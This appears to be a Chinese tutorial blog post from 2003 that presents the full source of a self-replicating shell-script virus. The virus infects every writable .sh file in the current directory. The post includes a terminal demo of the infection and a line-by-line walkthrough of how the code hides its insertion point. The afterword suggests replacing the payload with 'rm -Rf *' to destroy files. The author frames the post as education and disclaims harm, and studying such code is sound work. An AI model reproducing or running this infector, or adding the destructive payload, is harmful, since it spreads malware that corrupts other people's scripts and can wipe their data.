`

shell 病毒简介

阅读更多
1. 前言


   说起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦
从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感
染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下
这么一个小脚本,功能就是感染其他shell程序。

   这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以
算教学意义大于实际意义吧。


2. 程序代码


#!/bin/sh
#文件名: virus_demo.sh
#用途   : shell病毒演示。
#说明   : 病毒将感染当前目录下的所有.sh结尾的文件,但不会重复感染。
#编写   : watercloud@xfocus.org
#日期   : 2003-5-13

#B:<+!a%C&t:>
vFile=$_ ; vTmp=/tmp/.vTmp.$$
for f in ./*.sh; do
   if [ ! -w $f -a ! -r $vFile ];   then continue; fi
   if grep '<+!a%C&t:>' $f ;       then continue; fi
   if sed -n '1p' $f | grep 'csh'; then continue; fi
   cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi
   vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`
   sed -n "1,${vNo}p" $vTmp >$f
   (sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f
   vNo=`expr $vNo + 1`
   sed -n "${vNo},\$p" $vTmp >>$f
   rm -f $vTmp
done >/dev/null 2>&1
unset vTmp ;unset vFile ;unset vNo

echo "Hi, here is a demo shell virus in your script !"
#E:<+!a%C&t:>
#EOF

看shell是多么得强大,这么短短得程序就能感染其他程序文件。


3.   演示


测试一下:

先在当前目录放两个文件,一个病毒文件,一个用来作被感染测试用。
[cloud@ /export/home/cloud/vir]> ls -l
drwxr-xr-x   2 cloud     staff         512   6??   4 17:43 ./
drwxr-xr-x   10 cloud     staff       1024   6??   4 17:41 ../
-rwxr--r--   1 cloud     staff         89   6??   4 17:43 test.sh
-rwxr--r--   1 cloud     staff         773   6??   4 17:42 virus_demo.sh

来看看我们这个"肉鸡"脚本,很简单:
[cloud@ /export/home/cloud/vir]> cat test.sh
#!/bin/sh
# Just a demo for virus test
# Author : foo
# Date   : 3000-1-1

ls -l

#EOF

好了开始感染他。
[cloud@ /export/home/cloud/vir]> ./virus_demo.sh
Hi, here is a demo shell virus in your script !

来看看感染后的结果:
[cloud@ /export/home/cloud/vir]> cat test.sh
#!/bin/sh
# Just a demo for virus test
# Author : foo
# Date   : 3000-1-1

#B:<+!a%C&t:>
vFile=$_ ; vTmp=/tmp/.vTmp.$$
for f in ./*.sh; do
   if [ ! -w $f -a ! -r $vFile ];   then continue; fi
   if grep '<+!a%C&t:>' $f ;       then continue; fi
   if sed -n '1p' $f | grep 'csh'; then continue; fi
   cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi
   vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`
   sed -n "1,${vNo}p" $vTmp >$f
   (sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f
   vNo=`expr $vNo + 1`
   sed -n "${vNo},\$p" $vTmp >>$f
   rm -f $vTmp
done >/dev/null 2>&1
unset vTmp ;unset vFile ;unset vNo

echo "Hi, here is a demo shell virus in your script !"
#E:<+!a%C&t:>

ls -l

#EOF

看,病毒体:
#B:<+!a%C&t:>
. . . .
#E:<+!a%C&t:>
被拷贝过来了,这样病毒就被传播了。
值得注意的是病毒体插入的位置是在源test.sh的有效程序行的开始处!
这主要考虑到一般shell程序大家都喜欢在程序开始处作注释说明,
你好歹不能把别人的注释信息给放到后面去,那也太明显了吧。


来执行看看我们新的病毒体看看:

[cloud@ /export/home/cloud/vir]> ./test.sh
Hi, here is a demo shell virus in your script ! <-- 看,病毒体内部的打印信息。
        
-rwxr-xr-x   1 cloud     staff         724   6??   4 17:44 test.sh
-rwxr-xr-x   1 cloud     staff         773   6??   4 17:42 virus_demo.sh



4. 简单讲解


我们来一步步分析一下这个病毒:


#B:<+!a%C&t:>
病毒体开始标记,用于程序复制自己定位用

vFile=$_ ; vTmp=/tmp/.vTmp.$$
定义两个变量,一个临时文件,一个记录当前程序名称$_,这也就要求我们
必须把这行作为程序有效行的第一行,如果放后头我们就无法得到当前程序
名称,后面就找不到从哪里去找病毒体来拷贝了。

for f in ./*.sh; do
开始循环,找到当前目录下的所有.sh结尾的程序。

   if [ ! -w $f -a ! -r $vFile ];   then continue; fi
   目标是否有写权限,病毒源文件是否有读权限。

   if grep '<+!a%C&t:>' $f ;       then continue; fi
   目标是否已经中毒很深无药可救了,如果是这样还给他再来一次也太不仁义了吧?

   if sed -n '1p' $f | grep 'csh'; then continue; fi
   如果目标shell是以csh的那语法上差异太大了,放弃吧。

   cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi
   好了准备感染,先把目标拷贝一个备份,拷贝失败了怎么办?当然只好放弃了。

   vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`
   这是干嘛?好像挺复杂,不过学shell病毒不了解awk和正规表达式好像有点说不
   过去吧,这个就是找到程序开始的注释和空白行有多少,好方便我们确定病毒体
   插入点。

   sed -n "1,${vNo}p" $vTmp >$f
   一个sed命令把目标文件的开始注释部分从备份文件中copy回来。

   (sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f
   再来一个sed完成搬运病毒体的工作。

   vNo=`expr $vNo + 1`
   sed -n "${vNo},\$p" $vTmp >>$f
   最后一个sed把目标文件的其他部分搬回来,sed真强大呀!!

   rm -f $vTmp
   清理一下临时文件

done >/dev/null 2>&1
循环结束

unset vTmp ;unset vFile ;unset vNo
清理一下犯罪现场。


echo "Hi, here is a demo shell virus in your script !"
都感染了好歹也要显示点东西以告诉别人这是个被病毒感染过的程序吧。

#E:<+!a%C&t:>
病毒体结束标记,用于程序复制自己定位用




5. 后记

   从中我们可以看到脚本病毒非常简单,不需要很多知识就能写一个,而且病毒
破坏力也是不可小视比如我们的程序里把echo信息改为rm -Rf * ;同时反方面
也展示了shell的强大之处,试想传统的程序光是处理PE文件结构和ELF结构就得
花多少功夫。

   上面得程序已经在Linux和Solaris上测试通过,windows上得用户在Cygwin上
应该也行。

   顺便再强调一次,写这篇文章得目的是和大家分享一下对病毒得理解,而不是
教写病毒出去害人,切记切记!


#EOF
#GAME OVER
echo "望斧正!"
分享到:
评论

相关推荐

    几种常见的asp shell文件 及 清除 shell文件 的方法

    几种常见的asp shell文件 及 清除 shell文件 的方法

    linux shell 实例精解

    本书重点讲述了当下最流行的两个Linux Shell——Borne Again Shell(bash)和TC Shell(tcsh),从它们...打开文档如果有乱码,可以使用这个软件:UnicornViewe,非常好用,我也上传了,欢迎大家下载,绝对没有病毒:)

    Shell32.dll

    给被病毒篡改坏Shell32.dll(缺少条目..) 替换倒:c:\windows\system32

    Linux.Shell.实例精解

    本书重点讲述了当下最流行的两个Linux Shell——Borne Again Shell(bash)和TC Shell(tcsh),从它们的新特性、增加和内建...如果打开文件有乱码,使用这个软件UnicornViewer,我也上传了,欢迎下载,绝对没有病毒!

    感染Linux系统脚本程序的病毒技术介绍

    本文介绍了Linux系统最主要的Shell病毒技术。

    端口复用版winshell编写的后门程序源代码

    winshell是一个非常不错的后门程序,但是现在已经 有些过时了,于是写了一个新的wxhshell,在这款后门里采用了端口复用技术,因此可 以突破一些防火墙。其运行不影响正常端口的工作。 注意:本后门对于采用了独占...

    简易病毒扫描工具(VirEasyCH)

    本软件为单文件绿色简易病毒扫描工具。 简易,是说它简单易用简洁。 适用临时文件的常见病毒和木马的鉴别。 它只扫描简单文件和当前文件夹(即不扫描子目录)。 运行即装入windows目录下,并添加右键简易扫描菜单。 ...

    simple_shell:这是简单shell项目的存储库

    simple_shell项目的自述文件汇编该存储库中的所有文件都应按以下方式进行编译: ´´´gcc -Wall -Werror -Wextra -pedantic * .c -o hsh´´´项目要求。 允许的编辑者:“´´vi,vim,emacs´´´”。 所有文件都...

    shell杀服务进程,解压压缩包以及起服务

    shell杀weblogic服务进程,解压压缩包以及启动weblogic服务

    AntiURun防U盘病毒程序

    就是防U盘病毒的东东 针对Autorun的原理,实行3D防御 FD:检测可移动设备的插入,同时检查根目录下是否存在autorun.inf文件,若有则检查autorun.inf中是否有open、explore、command、find、shellexecute等关键字,...

    聚合搜索_病毒引擎_排名_???_savedtlc_聚合搜索_

    1:无需shell,无需蜘蛛池,无需租用二级目录,仅仅需要一个老域名2:内置资源接口,提权,养站,排名3:合理SEO优化构造,病毒式繁殖,组合,让蜘蛛畅快爬取收录4:配合主动实时推送,每天可以推送400万个网页,...

    马病毒的通用解法

    编辑system.ini文件,将[BOOT]下面的“shell=‘木马’文件”,更改为:“shell=explorer.exe”;在注册表中,用regedit对注册表进行编辑,先在“HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run...

    【Spring boot配置模板】java远程执行shell命令(支持向多主机发起远程命令)

    受2020年初的新型肺炎病毒影响,多日宅在家中无聊至极,就在琢磨一套调度系统,想用来管理维护大数据调度作业。 写了一多半停下来整改BUG,发现切换主机环境后,发现之前写的远程shell执行引擎失灵,怎么调试作业都...

    Do All in Cmd Shell (一切尽在命令行)

    由于蠕虫病毒流行,连接ipc$所需要的139或445端口被路由封锁。再加上WinXP系统加强了对ipc$的保护,通过ipc$及默认共享上传文件的手段基本无效了。ftp和tftp是两种可行的方法,介于其已被大家熟知,本文就不介绍了。...

    win32_reverse_shell:用c ++编写的反向shell,支持DNS名称解析,因此您可以将其与NGROK或任何您使用的东西一起使用

    win32_reverse_shell 用C ++编写的反向Shell支持DNS名称解析,因此您可以将其与NGROK或任何您使用的东西一起使用显然,includes.h是我通常用于每个项目的常规包含文件。 如果您需要减轻二进制文件的大小,请随意删除...

    SVGShellExtensions:SVG文件的Shell扩展名(预览面板,缩略图图标,SVG编辑器)

    SVG Shell扩展 最新版本1.2.3-2021年4月3日 ... 警告:当前安装程序未使用证书签名:当心Windows或防病毒软件的阻止。 为了进行干净的安装,请关闭所有具有活动预览处理程序或已使用预览处理程序的Windows资源管

    CSNetManagerXp 木马病毒清除方法

    C:\WINDOWS\system32\lsass.exe 描述LSA Shell (Export Version) 病毒行为: 病毒运行后拷贝自身到%systemroot%\system32\目录下,注册服务开启进程,修改exe文件关联的图标,修改文件夹选项里面的“隐藏系统受保护...

    sh2exe:将Shell脚本和busybox打包到单个exe文件中-开源

    我不确定是否所有的防病毒程序都接受这种性质的程序,因为脚本以%TMP%的形式运行。 我进行了一些测试,尝试运行一些脚本并使用wget下载东西,但在以下环境中没有触发AV警报:Win7 + Symantec Endpoint Protection...

    南开21春学期《计算机病毒分析》在线作业.docx

    选项B:4个 选项C:5个 选项D:6个 正确选项:B Shell是一个命令解释器,它解释()的命令并且把它们送到内核。 选项A:系统输入 选项B:用户输入 选项C:系统和用户输入 选项D:输入 正确选项:B 以下说法错误的是...

    计算机病毒与防护:Linux远程接入.ppt

    * * * * * * * 目录页 Linux远程接入 shell&文件传输 shell SecureCRT/xshell 需要启用sshd 文件传输 SecureCRT/xshell VNC 软件 服务端:tigervnc-server,客户端:tigervnc 配置(注:每个用户的操作只对自己生效...

Global site tag (gtag.js) - Google Analytics